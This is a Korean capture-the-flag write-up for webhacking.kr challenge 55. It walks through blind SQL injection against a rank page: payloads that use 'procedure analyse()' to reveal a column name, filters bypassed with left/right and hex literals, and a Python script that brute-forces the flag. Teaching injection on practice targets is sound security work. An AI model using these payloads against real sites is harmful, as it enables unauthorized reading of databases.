보안 공부/webhacking.kr

webhacking.kr 55번 풀이

sh1256 2022. 1. 15. 13:14
728x90

첫화면

문제에 입장하자마자 요 귀여운 아이가 나타납니다!!

 

마우스를 움직이면 마우스를 따라 움직이는 게 너무 귀엽네요 ㅎ(눈도 깜빡깜빡 거려요!)

그리고 저 슬라임?이 움직임에 따라 스코어 점수도 변합니다. 

 

 

 

score 밑에 보면 rank라는 링크가 있네요! 들어가 봅시다. 

rank

랭크 순위와, 아이디, 스코어가 순서대로 쭉 나열되어 있습니다. 

그런데 보시면 스코어가 2147483647로 다 똑같습니다. (이러면 순위가 상관 없잖아요?)

어쨌든 저는 첫번째 2147483647를 클릭해 보았습니다. 

 

 

 

그러면 위에 id : jusb3 // 2147483647 가 나타나고, 

URL도 https://webhacking.kr/challenge/web-31/rank.php?score=2147483647 로 바뀐걸 볼 수 있습니다.

 

 

 

자 그럼 탐방은 이정도로 하고, 문제를 풀어 볼까요??

 랭킹페이지의 맨 밑에 가면 이런 쿼리 문구를 하나 보여줍니다. 

chall55라는 테이블에 (id, score, flag)순으로 입력한다는 것 같네요

(trim()함수는 입력받은 문자열 좌우 공백을 제거해 줍니다. 참고 --> https://araikuma.tistory.com/523)

 

 

위의 저 쿼리문을 이용해서 flag를 알아내 봅시다. 

일단 세번째 자리에 flag가 있으니, 세번째 컬럼명을 알아내야 합니다. 

 

 

 

 

그러기 위해선 우리는 아래 함수를 사용해 봅시다! 

 procedure analyse();

(이 함수는 각 칼럼들에 대한 해당 테이블을 분석한 결과를 보여준다. )

위 함수를 사용하면 

DB명.TABLE명.COLUMN명

순으로 데이터를 출력해 주는 아주 착한 함수입니다!

 

 

 

 그런데 우리는 3번째 컬럼 명을 알아야 하니, limit 2,1 를 달아주고,

trim 함수를 우회하기 위해 공백 대신 %20을 넣어줍시다. 

출처: https://hyunmini.tistory.com/46

 

 

아래는 그렇게 해서 탄생한 문구입니다. 

?score=1%20limit%202,1%20procedure%20analyse()

위 URL를 넣어주면, 

DB: webhacking TABLE: chall55, 3rd COLUMN: p4ssw0rd_1123581321

이 3가지를 알 수 있습니다. 

 

 

 

 

이제 마지막으로 해야할 게 하나 남았습니다. 바로 컬럼명을 이용해 flag를 알아내는 것!

 이 때는 바로 Blind SQL Injection을 이용해야 합니다. 

 

일단 참과 거짓일 때의 반응을 보면, 

 

참: ?score=2147483647%20and%201=1

거짓: ?score=2147483647%20and%201=2


참일때는 id와 스코어 점수가 나타나고, 거짓일 때는 아무것도 나타나지 않습니다. 

먼저 길이를 알아내 봅시다. 

간단하게 flag가 10 이상인지 알아볼까요?

score=2147483647%20and%20length(p4ssw0rd_1123581321)>10 를 입력해 봅시다. 

결과는 참입니다. 

 

그렇게 점점 범위를 좁혀가다 보면, length(p4ssw0rd_1123581321)=31 이라는 걸 알 수 있습니다. 

결론: flag길이 = 31

 

 

 

이제 31자리 flag를 알아내 봅시다. 

기본적으로 이 때는 substr함수를 많이 사용하는데 

이번에는 substr 함수가 막혔기 때문에 left, rignt 함수를 사용한다. 

substr(문자열, S, N): 문자열의 S번째에서 N만큼 문자열 반환

left(문자열, N): 문자열의 왼쪽에서 N만큼 문자열 반환

right(문자열, N): 문자열의 오른쪽에서 N만큼 문자열 반환

 

substr('password', 1, 1)== right(left('password',1),1) ----> 'p'

substr('password',N,1)==right(left('password', N,),1) ----> N번째 문자

 

자 그럼 flag는 flag{~~} 형식(대소문자 상관x)으로 되있는 경우가 많으니, 첫글자를 시험삼아 시도해봅시다. 

'(따음표)가 필터링 됩니다. ascii도 필터링 되고, 다행이 0x값은 통과되네요.

 

right(left(p4ssw0rd_1123581321,1),1)=0x66(f의 hex값) --> 참

right(left(p4ssw0rd_1123581321,2),1)=0x66(l의 hex값) --> 참

 

flag의 맨 앞 2글자는 'fl'라는 것을 알아냈습니다.

지금이야 찍어서 되지만 flag다음 글자는 이렇게 노가다를 하다간 하루넘게 걸릴 겁니다. 

우리는 파이썬을 이용해 봅시다. 

import requests
headers={'PHPSESSID':'knv6oc8e775tqvhd51ghtacags'}
url ="http://webhacking.kr/challenge/web-31/rank.php?score=2147483647%20and%20"
length=31
flag= ""
for i in range(1, length+1):
    for j in range(33, 127):
        query="right(left(p4ssw0rd_1123581321," +str(i)+ "),1)=" +str(hex(j))
        
        r= requests.get(url+query, headers=headers)
        
        if r.text.find(" jusb3") !=-1:
            flag+=chr(j)
            print("flag: "+flag)
            break

실행!!

그렇게 해서 구한 flag: FLAG{EASY_PEASY_LEMON_SQUEEZY!} 

auth 창에 들어가 입력해주면?

성공입니다!